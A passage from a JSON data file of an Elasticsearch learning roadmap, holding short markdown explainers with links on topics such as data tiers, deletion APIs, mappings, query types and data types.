    "content": "# Data Nodes\n\nData nodes in Elasticsearch are the workhorses of the cluster, responsible for storing data and performing CPU and I/O intensive operations like searching, indexing, and data analysis. These nodes hold shards of Elasticsearch indices and manage the actual data storage on disk. They contribute significantly to the cluster's overall performance and scalability.\n\nVisit the following resources to learn more:\n\n- [@official@Data nodes](https://www.elastic.co/docs/deploy-manage/distributed-architecture/clusters-nodes-shards/node-roles#data-node-role)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/data-tiers@e7jEDWLZ6q6S0csClOD27.md",
    "content": "# Data Tiers\n\nData tiers in Elasticsearch refer to the strategy of categorizing and storing data based on its access frequency and importance. This approach involves segregating data into different storage types (like hot, warm, cold, and frozen) to optimize performance, cost, and resource utilization. By aligning data storage with its usage patterns, organizations can efficiently manage large volumes of data while maintaining acceptable query speeds and minimizing infrastructure expenses.\n\nVisit the following resources to learn more:\n\n- [@official@Data tiers](https://www.elastic.co/docs/manage-data/lifecycle/data-tiers)\n- [@official@Elastic data tiering strategy: Optimizing for a resilient and efficient implementation](https://www.elastic.co/blog/elastic-data-tiering-strategy)\n- [@official@What’s the difference? Elastic and Splunk data tiers](https://www.elastic.co/blog/elastic-splunk-data-tiers-differences)\n- [@article@Elasticsearch Multi-Tier Architecture – How to Set Up a Hot/Warm/Cold/Frozen Elasticsearch Architecture](https://opster.com/guides/elasticsearch/capacity-planning/elasticsearch-hot-warm-cold-frozen-architecture/)\n- [@article@Managing Elasticsearch Storage Tiers: Hot, Warm, Cold, and Frozen](https://www.hyperflex.co/solution-and-best-practices/managing-elasticsearch-storage-tiers-hot-warm-cold-and-frozen)\n- [@video@Setting Up Data Tiers (Snippet)](https://www.youtube.com/watch?v=f9MS5Kw3H8U)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/data-types@OfsRHpwJClzwPPRe9hai2.md",
    "content": "# Data Types\n\nData types define the kind of values that can be stored in a field. They specify how Elasticsearch should interpret and store the data, influencing how it can be searched and analyzed. Common examples include text, numbers, dates, booleans, and geo-locations, each optimized for different use cases.\n\nVisit the following resources to learn more:\n\n- [@official@Field data types](https://www.elastic.co/docs/reference/elasticsearch/mapping-reference/field-data-types)\n- [@article@Elasticsearch For Dummies Part 2: Datatypes](https://tim-estes.medium.com/elasticsearch-for-dummies-part-2-datatypes-c7a9494b48e8)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/dates@YHLYayCH8beVSkDF_U5_F.md",
    "content": "# Dates\n\nDates in Elasticsearch represent points in time. They are stored internally as the number of milliseconds since the Unix epoch (January 1, 1970, 00:00:00 UTC). Elasticsearch provides flexibility in how you format date values when indexing documents, allowing you to use strings in various formats or numeric values representing milliseconds since the epoch. When querying, you can use date ranges and other date-specific operations to filter and analyze your data based on time.\n\nVisit the following resources to learn more:\n\n- [@official@Date field type](https://www.elastic.co/docs/reference/elasticsearch/mapping-reference/date)\n- [@official@Date nanoseconds field type](https://www.elastic.co/docs/reference/elasticsearch/mapping-reference/date_nanos)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/delete-by-query@FYdnnc9kgkWYQAtJjBgTC.md",
    "content": "# Delete by Query\n\nDelete by Query allows you to remove documents from an Elasticsearch index that match a specific query. Instead of deleting documents individually by their ID, you can define criteria based on field values or other search parameters. This is useful for removing outdated, irrelevant, or incorrect data from your index in bulk.\n\nVisit the following resources to learn more:\n\n- [@official@Delete documents](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-delete-by-query)\n- [@article@Elasticsearch Delete By Query](https://opster.com/guides/elasticsearch/how-tos/elasticsearch-delete-by-query/)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/delete-documents@d5KjotJsfYrE5YH7a48XI.md",
    "content": "# Delete Documents\n\nDeleting a document in Elasticsearch involves sending a DELETE request to a specific index and document ID. This action permanently removes the document from the index. After a successful deletion, the document will no longer be searchable. The operation requires specifying the index name and the unique identifier of the document you wish to remove.\n\nVisit the following resources to learn more:\n\n- [@official@Delete a document](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-delete)\n- [@article@Elasticsearch Delete Document](https://opster.com/guides/elasticsearch/glossary/elasticsearch-delete-document/)\n- [@article@Ways to delete documents from elasticsearch](https://medium.com/@prashant.n.khunt/ways-to-delete-documents-from-elasticsearch-a490195f794)\n- [@article@Elasticsearch API | Index API, Update API, Get API, Delete API | Elasticsearch Tutorial | ELK Stack](https://www.youtube.com/watch?v=MPjily-rb1A)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/delete-index@FGz2puNUy_cGRwE3Jfylq.md",
    "content": "# Delete Index\n\nDeleting an index in Elasticsearch removes the entire index and all its associated data. You can achieve this using the Delete Index API. Simply send a DELETE request to the index's name endpoint (e.g., `DELETE /your_index_name`). This action is permanent and irreversible, so it's crucial to ensure you're deleting the correct index and have a backup if needed.\n\nVisit the following resources to learn more:\n\n- [@course@Delete indices](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-delete)\n- [@article@Removing Old Indices in Elasticsearch](https://betterstack.com/community/questions/removing-old-indices-in-elasticsearch/)\n- [@article@When and How to Delete an Elasticsearch Index?](https://sematext.com/blog/elasticsearch-delete-index/)\n- [@video@How to create/delete index in elasticsearch](https://www.youtube.com/watch?v=Kq3A1evwIWs)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/doc-values@rkL_k2nxymtgPW8xf_04k.md",
    "content": "# Doc Values\n\nDoc values are a data structure in Elasticsearch that stores field values in a column-oriented fashion, optimized for aggregations, sorting, and scripting. Instead of storing the data alongside the inverted index, doc values are stored separately on disk, making them efficient for retrieving values for a large number of documents. This allows Elasticsearch to perform operations like sorting and aggregations much faster than if it had to retrieve the data from the inverted index.\n\nVisit the following resources to learn more:\n\n- [@official@doc_values](https://www.elastic.co/docs/reference/elasticsearch/mapping-reference/doc-values)\n- [@article@Elasticsearch doc-values-only Fields](https://opster.com/guides/elasticsearch/data-architecture/elasticsearch-doc-values-only-fields/)\n- [@article@Elasticsearch _source, doc_values and store Performance](https://sease.io/2021/02/field-retrieval-performance-in-elasticsearch.html)\n- [@video@Field Data vs Doc Values | Understanding Elasticsearch Performance Issues](https://www.youtube.com/watch?v=l99lIuvQULk)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/document-row@tX_HGYnsoeipj4xu04wnX.md",
    "content": "# Document (Row)\n\nA document is a basic unit of information in Elasticsearch, analogous to a row in a relational database table. It's a JSON object containing a set of fields, each with a name and one or more values. These fields can hold various data types like text, numbers, dates, booleans, and even nested objects or arrays.\n\nVisit the following resources to learn more:\n\n- [@official@Index basics](https://www.elastic.co/docs/manage-data/data-store/index-basics)\n- [@article@Elasticsearch Document](https://www.dremio.com/wiki/elasticsearch-document/)\n- [@article@Elasticsearch Document](https://opster.com/guides/elasticsearch/glossary/elasticsearch-document/)\n- [@video@How Elasticsearch Works: Documents, JSON & Index Explained](https://www.youtube.com/watch?v=wHZ3JsRzukI)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/dynamic@_SuYA1C-g5XOmhCAjXhXi.md",
    "content": "# Dynamic Mappings\n\nDynamic mapping in Elasticsearch allows the index to automatically detect and add new fields to the mapping when new documents containing previously unseen fields are indexed. This means you don't have to predefine the schema for every field in your data; Elasticsearch infers the data type and adds the field to the index mapping on the fly. This is useful for quickly indexing data without upfront schema design.\n\nVisit the following resources to learn more:\n\n- [@official@Dynamic mapping](https://www.elastic.co/docs/manage-data/data-store/mapping/dynamic-mapping)\n- [@official@Dynamic field mapping](https://www.elastic.co/docs/manage-data/data-store/mapping/dynamic-field-mapping)\n- [@official@Elasticsearch Dynamic Mapping: Advanced Insights and Best Practices](https://opster.com/guides/elasticsearch/data-architecture/elasticsearch-dynamic-mapping/)\n- [@video@Dynamic index mappings in Elasticsearch and OpenSearch](https://www.youtube.com/watch?v=KBMTES9lMOM)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/elastic-cloud@TACmPj5o4tdyTkLXqSQFb.md",
    "content": "# Elastic Cloud\n\nElastic Cloud is a suite of Elasticsearch-based services offered by Elastic, the company behind Elasticsearch. It provides a managed platform for deploying, managing, and scaling Elasticsearch clusters in the cloud, eliminating the need for users to handle the underlying infrastructure. This includes tasks like provisioning servers, configuring networking, and managing backups, allowing users to focus on analyzing and visualizing their data.\n\nVisit the following resources to learn more:\n\n- [@official@Accelerate results in Elastic Cloud](https://www.elastic.co/cloud)\n- [@official@Elastic Cloud Serverless](https://www.elastic.co/cloud/serverless)\n- [@video@Getting Started with Elasticsearch Service and Elastic Cloud](https://www.youtube.com/watch?v=mIHYcxe70fc)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/elasticsearch-usecases@0-SJLGkO8Ek7hyC6wWHKv.md",
    "content": "# Elasticsearch Usecases\n\nElastic use cases can be classified into three main categories:\n\n*   **Elasticsearch** is a distributed, open-source search and analytics engine for all types of data, including textual, numerical, geospatial, structured, and unstructured.\n*   **Elastic Observability** builds on this foundation to provide a unified view of logs, metrics, and traces, enabling users to monitor and troubleshoot their systems.\n*   **Elastic Security** leverages Elasticsearch's search and analytics capabilities to offer threat detection, prevention, and response, helping organizations protect themselves from cyber threats. Elasticsearch use cases are diverse, ranging from application search and website search to logging and log analytics, security analytics, and business analytics.\n\nVisit the following resources to learn more:\n\n- [@official@Elasticsearch solution overview](https://www.elastic.co/docs/solutions/search)\n- [@official@Elastic Observability overview](https://www.elastic.co/docs/solutions/observability)\n- [@official@Elastic Security overview](https://www.elastic.co/docs/solutions/security)\n- [@video@Getting Started with Elastic Observability](https://www.youtube.com/watch?v=SWUgqOSAyqU)\n- [@video@Elastic Security Solutions Overview](https://www.youtube.com/watch?v=wzPMtmINEhU)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/eql@R2G2jlvGl6rJkqphwHYGP.md",
    "content": "# Event Query Language (EQL)\n\nEvent Query Language (EQL) is a powerful query language designed for security event analysis and threat hunting. It allows users to search for sequences of events that match specific patterns, enabling the detection of complex attack behaviors. EQL focuses on identifying relationships and dependencies between events over time, making it well-suited for uncovering malicious activities within large datasets.\n\nVisit the following resources to learn more:\n\n- [@official@EQL](https://www.elastic.co/docs/explore-analyze/query-filter/languages/eql)\n- [@official@Introducing Event Query Language](https://www.elastic.co/blog/introducing-event-query-language)\n- [@video@EQL Basics: Intro to Elastic's Event Query Language, Including Usage Example](https://www.youtube.com/watch?v=WbqYbzAkF94)\n- [@video@Event Query Language (EQL) - Overview, Usage, Importance & Modeling Detections](https://www.youtube.com/watch?v=C-Kxzj-Dw_U)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/esql@bw5Rt_AxLRVB6KnetVWU9.md",
    "content": "# ES|QL\n\nES|QL is a query language designed for Elasticsearch that allows users to search, transform, and analyze data using a SQL-like syntax. It provides a more familiar and accessible way to interact with Elasticsearch data compared to the traditional JSON-based query DSL, enabling users to perform complex data manipulations and aggregations with relative ease.\n\nVisit the following resources to learn more:\n\n- [@official@ES|QL](https://www.elastic.co/docs/reference/query-languages/esql)\n- [@official@Getting started with ES|QL (Elasticsearch Query Language)](https://www.elastic.co/blog/getting-started-elasticsearch-query-language)\n- [@official@Simplify data investigation: Elasticsearch Piped Query Language (ES|QL)](https://www.elastic.co/elasticsearch/piped-query-language)\n- [@article@How to Leverage the New ES|QL Query Language](https://opster.com/guides/elasticsearch/how-tos/how-to-leverage-es-ql-query-language/)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/exists-query@Eu76k_9GC5DNqWMKTogV4.md",
    "content": "# Exists Query\n\nAn exists query in Elasticsearch is used to find documents that contain a specific field, regardless of its value. It checks for the presence of the field in the document's source data. This is useful when you need to filter documents based on whether a particular field has been defined or not.\n\nVisit the following resources to learn more:\n\n- [@official@Exists query](https://www.elastic.co/docs/reference/query-languages/query-dsl/query-dsl-exists-query)\n- [@article@Elasticsearch Exists Query - Syntax, Example, and Tips](https://pulse.support/kb/elasticsearch-exists-query)\n- [@article@Elasticsearch DSL Exists Query](https://opster.com/guides/elasticsearch/search-apis/elasticsearch-dsl-exists-query/)\n- [@video@Exists Query | Elasticsearch | Check a field is exists in a document](https://www.youtube.com/watch?v=_1xLTLln6KQ)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/explicit@4f09QKfGI-GaxYw0ngdiS.md",
    "content": "# Explicit Mappings\n\nExplicit mappings in Elasticsearch involve defining the structure and data types of fields within an index before indexing any documents. This allows you to have precise control over how Elasticsearch analyzes and stores your data, ensuring that fields are treated as intended (e.g., a field containing dates is treated as a date, not just text). By explicitly defining mappings, you can optimize search performance and data integrity.\n\nVisit the following resources to learn more:\n\n- [@official@Explicit mapping](https://www.elastic.co/docs/manage-data/data-store/mapping/explicit-mapping)\n- [@video@Explicit index mappings in Elasticsearch and OpenSearch](https://www.youtube.com/watch?v=KRd4Ud-5_wM)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/fielddata@bNnGloEN5OED8M-WyChK6.md",
    "content": "# Fielddata\n\nFielddata is an on-disk data structure used by Elasticsearch to enable aggregations, sorting, and scripting on text fields. Because text fields are analyzed (broken down into individual terms), Elasticsearch needs a way to quickly access all the terms for a specific document when performing these operations. Fielddata loads all the terms for a field into memory, allowing for fast access during these operations.\n\nVisit the following resources to learn more:\n\n- [@article@What is Elasticsearch Fielddata?](https://pulse.support/kb/what-is-elasticsearch-fielddata)\n- [@article@Elasticsearch Fielddata](https://opster.com/guides/elasticsearch/glossary/elasticsearch-fielddata/)\n- [@video@Field Data vs Doc Values | Understanding Elasticsearch Performance Issues](https://www.youtube.com/watch?v=l99lIuvQULk)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/filter-aggregations@BzIj7Cc9oC4WsUeU9b4Ae.md",
    "content": "# Filter Aggregations\n\nFilter aggregations narrow down the documents that are used to calculate metrics within an aggregation. They work by applying a filter to the documents before the aggregation is performed, effectively creating a subset of the data for analysis. This allows you to focus on specific segments of your data and gain insights into particular subsets of your documents.\n\nVisit the following resources to learn more:\n\n- [@official@Filter aggregation](https://www.elastic.co/docs/reference/aggregations/search-aggregations-bucket-filter-aggregation)\n- [@official@Multi-bucket filters aggregation](https://www.elastic.co/docs/reference/aggregations/search-aggregations-bucket-filters-aggregation)\n- [@article@Elasticsearch Filter Aggregation: Advanced Usage and Optimization Techniques](https://opster.com/guides/elasticsearch/search-apis/elasticsearch-filter-aggregation/)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/filter@Kzuy0BM4Dme2nFanEdWGC.md",
    "content": "# Filter\n\nA filter in Elasticsearch is a query that returns documents matching specific criteria in a boolean (yes/no) manner. Unlike regular queries that calculate a relevance score, filters simply determine whether a document matches the condition or not. They are often used to narrow down the search results based on specific attributes or ranges, such as price, date, or category.\n\nVisit the following resources to learn more:\n\n- [@official@Query and filter context](https://www.elastic.co/docs/reference/query-languages/query-dsl/query-filter-context)\n- [@official@Query DSL](https://www.elastic.co/docs/explore-analyze/query-filter/languages/querydsl)\n- [@article@Deep Dive into Elastic Search Querying, Filter vs Query Context](https://mahajanjatin-14.medium.com/deep-dive-into-elastic-search-querying-filter-vs-query-context-920fdbfd31de)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/filter@irtX2t6kTUp5lDHd0AVUF.md",
    "content": "# Bool Query Filter Context\n\nThe `filter` context within a Bool query in Elasticsearch is used to narrow down the documents that match a query without affecting the relevance score. It's like a pre-filter that efficiently excludes documents that don't meet specific criteria before the scoring process even begins, making it ideal for exact matches, range queries, and other conditions where relevance isn't a factor.\n\nVisit the following resources to learn more:\n\n- [@official@Boolean query](https://www.elastic.co/docs/reference/query-languages/query-dsl/query-dsl-bool-query)\n- [@official@Lost in Translation: Boolean Operations and Filters in the Bool Query](https://www.elastic.co/blog/lost-in-translation-boolean-operations-and-filters-in-the-bool-query)\n- [@video@Elasticsearch Bool Query (Should & Filter Clauses) - S1E14: Mini Beginner's Crash Course](https://www.youtube.com/watch?v=Uh1F2lezIfY)\n- [@video@Boolean Query in Elasticsearch | Bool, Filter, Must, Must Not, Should, DSL | ES7 for Beginners #4.3](https://www.youtube.com/watch?v=ba2Qn3y486M)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/flattened@MSHYpBQEgv-ukJvvuHE1B.md",
    "content": "# Flattened Data Type\n\nThe flattened data type in Elasticsearch allows you to index an entire JSON object as a single field. This is useful when you have objects with many fields, but you only need to search or aggregate on a small subset of them. Instead of mapping each individual field, the flattened type indexes the entire object as a string, enabling you to query specific values within the object using specialized queries.\n\nVisit the following resources to learn more:\n\n- [@official@Flattened field type](https://www.elastic.co/docs/reference/elasticsearch/mapping-reference/flattened)\n- [@article@Flattened Datatype Mappings — Elasticsearch Tutorial](https://alirezadp10.medium.com/flattened-datatype-mappings-elasticsearch-tutorial-1cf77497e706)\n- [@video@Flattened Datatype](https://www.youtube.com/watch?v=UhPaEMR4pJ4)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/function-score-query@pzRBfcevVXXWf6QfvGIvs.md",
    "content": "# Function Score Query\n\nThe Function Score Query allows you to modify the score of documents retrieved by a query. It provides a way to apply a function to each document that matches the base query, influencing its final relevance score. This function can be based on factors like document fields, pre-defined weights, or even custom scripts, enabling fine-grained control over search results ranking.\n\nVisit the following resources to learn more:\n\n- [@official@Function score query](https://www.elastic.co/docs/reference/query-languages/query-dsl/query-dsl-function-score-query)\n- [@official@A Gentle Intro to Function Scoring](https://www.elastic.co/blog/found-function-scoring)\n- [@article@Elasticsearch Function Score: Boosting Relevance with Custom Scoring](https://opster.com/guides/elasticsearch/search-apis/elasticsearch-function-score/)\n- [@article@Elasticsearch Function Score Query - Syntax, Example, and Tips](https://pulse.support/kb/elasticsearch-function-score-query)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/geo-points@d_VHRn6rWUEFfI6KVrcoS.md",
    "content": "# Geo Points\n\nGeo points are a specific data type in Elasticsearch used to store and index latitude and longitude coordinates. They allow you to represent locations on Earth and perform geospatial queries, such as finding points within a certain distance of a location or identifying points within a defined area. These coordinates are typically stored as a pair of numbers, with latitude representing the north-south position and longitude representing the east-west position.\n\nVisit the following resources to learn more:\n\n- [@official@Geopoint field type](https://www.elastic.co/docs/reference/elasticsearch/mapping-reference/geo-point)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/get-document@raSeqTXjH4aCFHuoqmrcJ.md",
    "content": "# Get Document\n\nTo retrieve a specific document from an Elasticsearch index, you need to know its unique identifier. You can then use the Get API, providing the index name and the document ID. Elasticsearch will then search for the document with that ID within the specified index and return it. The response will include the document's source data (the fields and their values), along with metadata like the index, ID, version, and whether the document was found.\n\nVisit the following resources to learn more:\n\n- [@official@Get a document by its ID](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-get)\n- [@article@Efficiently Searching by Document ID in Elasticsearch](https://opster.com/guides/elasticsearch/search-apis/efficiently-searching-by-document-id-elasticsearch/)\n- [@video@How to retrieve documents in Elasticsearch?](https://www.youtube.com/watch?v=QRtRsWSn3n4)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/highlighting@vaah2ESUA7oJW4-hHaWrm.md",
    "content": "# Highlighting\n\nHighlighting in Elasticsearch helps users quickly identify the search terms within the returned documents. It works by surrounding the search keywords in the results with special tags, like `<em>` and `</em>`, making them visually distinct. This allows users to easily see why a particular document matched their query without having to read the entire document. You can customize the tags used for highlighting, the fields that are highlighted, and even the way the highlighting is performed to suit your specific needs.\n\nVisit the following resources to learn more:\n\n- [@official@Highlighting](https://www.elastic.co/docs/reference/elasticsearch/rest-apis/highlighting)\n- [@article@Semantic text in Elasticsearch: Simpler, better, leaner, stronger](https://www.elastic.co/search-labs/blog/elasticsearch-semantic-text-ga)\n- [@video@Elasticsearch Highlighting - Part 1 - Getting Started](https://www.youtube.com/watch?v=3F2qjKNO6S4)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/histogram@RDygFr1w9yR6mU3hSG8Vj.md",
    "content": "# Histogram Aggregation\n\nA histogram aggregation calculates the distribution of numeric values across a set of intervals, or \"buckets.\" It groups data into these buckets based on their values, providing a count of how many data points fall within each bucket's range. This allows you to visualize the frequency of values within specific ranges, revealing patterns and trends in your data.\n\nVisit the following resources to learn more:\n\n- [@official@Histogram aggregation](https://www.elastic.co/docs/reference/aggregations/search-aggregations-bucket-histogram-aggregation)\n- [@article@Mastering Elasticsearch Histogram Aggregations](https://opster.com/guides/elasticsearch/how-tos/elasticsearch-histogram-aggregations/)\n- [@article@Elasticsearch Date Histogram Aggregation - Syntax, Example, and Tips](https://pulse.support/kb/elasticsearch-date-histogram-aggregation)\n- [@video@Elasticsearch Bucket Aggregations Part 1, Date Histogram Aggregation - S1E16: Mini Beginner's Course](https://www.youtube.com/watch?v=iDaAW3__hb8)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/how-search-works@fuQ4okG1z02lMx8Gkw43M.md",
    "content": "# How Search Works\n\nSearch, at its core, involves matching a user's query against the data stored in an index. This process typically begins with the user entering a search term, which is then analyzed and processed. The system then retrieves documents that contain terms matching the processed query, ranking them based on relevance to present the most suitable results to the user.\n\nVisit the following resources to learn more:\n\n- [@official@What is a search engine?](https://www.elastic.co/what-is/search-engine)\n- [@article@Elasticsearch: An In-Depth Explanation](https://dev.to/kakarotdevv/elasticsearch-an-in-depth-explanation-2bpf)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/hybrid-search@cWzmbSIsiw7809rmFA4DV.md",
    "content": "# Hybrid Search\n\nHybrid search combines multiple search techniques to improve the relevance and accuracy of search results. It leverages the strengths of different approaches, such as keyword-based search and semantic search, to provide a more comprehensive and nuanced understanding of the user's query and the available data. By blending these methods, hybrid search aims to overcome the limitations of any single approach and deliver more relevant and meaningful results.\n\nVisit the following resources to learn more:\n\n- [@official@What is hybrid search?](https://www.elastic.co/what-is/hybrid-search)\n- [@official@Elasticsearch hybrid search](https://www.elastic.co/search-labs/blog/hybrid-search-elasticsearch)\n- [@official@Hybrid Search: Combined Full-Text and kNN Results](https://www.elastic.co/search-labs/tutorials/search-tutorial/vector-search/hybrid-search)\n- [@video@What is hybrid search in Elasticsearch?](https://www.youtube.com/watch?v=IPGIU2QmZjw)\n- [@video@How to build an advanced semantic search engine with hybrid search | Elasticsearch Coding Sessions](https://www.youtube.com/watch?v=inaBjdvdFgA)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/id-primary-key@1Qps2Z_Cp5ZrYkq5FXwDO.md",
    "content": "# ID (Primary Key)\n\nAn ID, or Primary Key, is a unique identifier for each document stored within an Elasticsearch index. It distinguishes one document from another, allowing for specific retrieval, updating, and deletion of individual data entries. This unique identifier is crucial for maintaining data integrity and enabling efficient data management within the Elasticsearch system.\n\nVisit the following resources to learn more:\n\n- [@official@_id field](http://elastic.co/docs/reference/elasticsearch/mapping-reference/mapping-id-field)\n- [@official@Index basics](https://www.elastic.co/docs/manage-data/data-store/index-basics)\n- [@official@Get a document by its ID](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-get)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/id-query@SmaMEuknItGuLiBv9PwIk.md",
    "content": "# ID Query\n\nAn ID query retrieves documents from an index based on their unique identifier. It's a simple and efficient way to fetch specific documents when you already know their IDs. This query directly accesses the document using its `_id` field.\n\nVisit the following resources to learn more:\n\n- [@official@IDs](https://www.elastic.co/docs/reference/query-languages/query-dsl/query-dsl-ids-query)\n- [@official@Get a document by its ID](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-get)\n- [@article@Elasticsearch ids query](http://opster.com/guides/elasticsearch/search-apis/elasticsearch-ids-query/)\n- [@article@Stop using the _id field in Elasticsearch](https://luis-sena.medium.com/stop-using-the-id-field-in-elasticsearch-6fb650d1fbae)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/ilm@DMXH8GoYf2qVDbLg7b2hm.md",
    "content": "# Index Lifecycle Management (ILM)\n\nIndex Lifecycle Management (ILM) automates the process of managing Elasticsearch indices over time. It defines policies to control how indices are stored, moved, and deleted based on factors like age, size, or performance. This helps optimize resource utilization, reduce storage costs, and ensure data is available when needed.\n\nVisit the following resources to learn more:\n\n- [@official@Index lifecycle management](https://www.elastic.co/docs/manage-data/lifecycle/index-lifecycle-management)\n- [@official@Index lifecycle management settings in Elasticsearch](https://www.elastic.co/docs/reference/elasticsearch/configuration-reference/index-lifecycle-management-settings)\n- [@official@Monitoring Elasticsearch index lifecycle management with the history index](https://www.elastic.co/blog/elasticsearch-index-lifecycle-management-history-index)\n- [@article@An Introduction to Index Life Cycle Management in Elasticsearch](https://medium.com/knowledgelens/an-introduction-to-index-life-cycle-management-in-elasticsearch-da6b0ff579c3)\n- [@video@Setting Up Elasticsearch ILM - Index Lifecycle Management](https://www.youtube.com/watch?v=TPO6WzRp6Vo)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/index-database@ECrKSI6rUU_N5fd3NFgch.md",
    "content": "# Index (Database)\n\nAn index is a collection of documents that have similar characteristics. Think of it as a database in a relational database system. It's where Elasticsearch stores and organizes data, allowing for efficient searching and retrieval. Each index is identified by a name, which is used when performing indexing, searching, updating, and deleting operations.\n\nVisit the following resources to learn more:\n\n- [@official@Index basics](https://www.elastic.co/docs/manage-data/data-store/index-basics)\n- [@official@What is an Elasticsearch index?](https://www.elastic.co/docs/manage-data/data-store/index-basics)\n- [@article@Elasticsearch Index – How to create, list, query and delete indices](https://opster.com/guides/elasticsearch/glossary/elasticsearch-index/)\n- [@video@How Elasticsearch Works: Documents, JSON & Index Explained](https://www.youtube.com/watch?v=wHZ3JsRzukI)\n- [@video@What's ElasticSearch Used For? | Search Indexes | Systems Design Interview 0 to 1 with Ex-Google SWE](https://www.youtube.com/watch?v=wmCWCVAl1Us)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/index-document@amdn_KmQmPJgBf-kDzC3E.md",
    "content": "# Index Document\n\nTo add data to Elasticsearch, you use the Index API. This API lets you create a new document within a specific index. You need to specify the index name, a unique ID for the document (or let Elasticsearch generate one), and the document's content in JSON format. When you send this information to Elasticsearch via a PUT or POST request, it analyzes the data, indexes it, and makes it searchable.\n\nVisit the following resources to learn more:\n\n- [@official@Create a new document in the index](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-create)\n- [@official@Create or update a document in an index](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-index)\n- [@video@How to index a document inside Elastic Search](https://www.youtube.com/watch?v=ZdV45CLO0to)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/introduction@rWriosjh7LzGZbj8k_wih.md",
    "content": "# Elasticsearch\n\nElasticsearch is a distributed, open-source search and analytics engine for all types of data, including textual, numerical, geospatial, structured, and unstructured. It's built on Apache Lucene and provides a distributed, multitenant-capable full-text search engine with an HTTP web interface and schema-free JSON documents. Elasticsearch is commonly used for log analytics, full-text search, security intelligence, business analytics, and operational intelligence use cases.\n\nVisit the following resources to learn more:\n\n- [@book@Elasticsearch The Definitive Guide](https://hlaszny.com/booksAndPapers/buckets/b8_IT/elasticsearch-the-definitive-guide.pdf)\n- [@official@Elasticsearch](https://www.elastic.co/elasticsearch)\n- [@official@Elasticsearch solution overview](https://www.elastic.co/docs/solutions/search)\n- [@official@Get started with Elasticsearch](https://www.elastic.co/docs/solutions/search/get-started)\n- [@official@Elasticsearch Labs Tutorial](https://www.elastic.co/search-labs/tutorials)\n- [@article@Elasticsearch Tutorial](https://www.tutorialspoint.com/elasticsearch/index.htm)\n- [@video@Elasticsearch Course for Beginners](https://www.youtube.com/watch?v=a4HBKEda_F8)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/json@ppgShbqhYsD6maDw3Dgcx.md",
    "content": "# JSON\n\nJSON (JavaScript Object Notation) is a lightweight data-interchange format that is easy for humans to read and write and easy for machines to parse and generate. It's based on a subset of the JavaScript programming language, and uses a text-based format to represent data objects consisting of attribute-value pairs and array data types. JSON is commonly used for transmitting data in web applications (e.g., sending some data from the server to the client, so it can be displayed on a web page) and is a standard format for APIs and configuration files.\n\nVisit the following resources to learn more:\n\n- [@article@Introducing JSON](https://www.json.org/json-en.html)\n- [@article@JavaScript JSON](https://www.w3schools.com/js/js_json.asp)\n- [@article@Working with JSON](https://developer.mozilla.org/en-US/docs/Learn_web_development/Core/Scripting/JSON)\n- [@video@How Elasticsearch Works: Documents, JSON & Index Explained](https://www.youtube.com/watch?v=wHZ3JsRzukI)\n- [@video@What Is JSON | Explained](https://www.youtube.com/watch?v=cj3h3Fb10QY)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/keyword@DZ_FX0ansCsXDN7J6u7_m.md",
    "content": "# Keyword Data Type\n\nThe Keyword data type in Elasticsearch is used for indexing fields that contain structured, string-based data. Unlike the Text data type, Keyword fields are not analyzed or tokenized; the entire string is indexed as a single term. This makes them ideal for filtering, sorting, and exact-match queries, where you need to find documents with a specific, complete value.\n\nVisit the following resources to learn more:\n\n- [@official@Keyword type family](https://www.elastic.co/docs/reference/elasticsearch/mapping-reference/keyword)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/kibana-console@ST0yxc527eb2vRrSvTWAd.md",
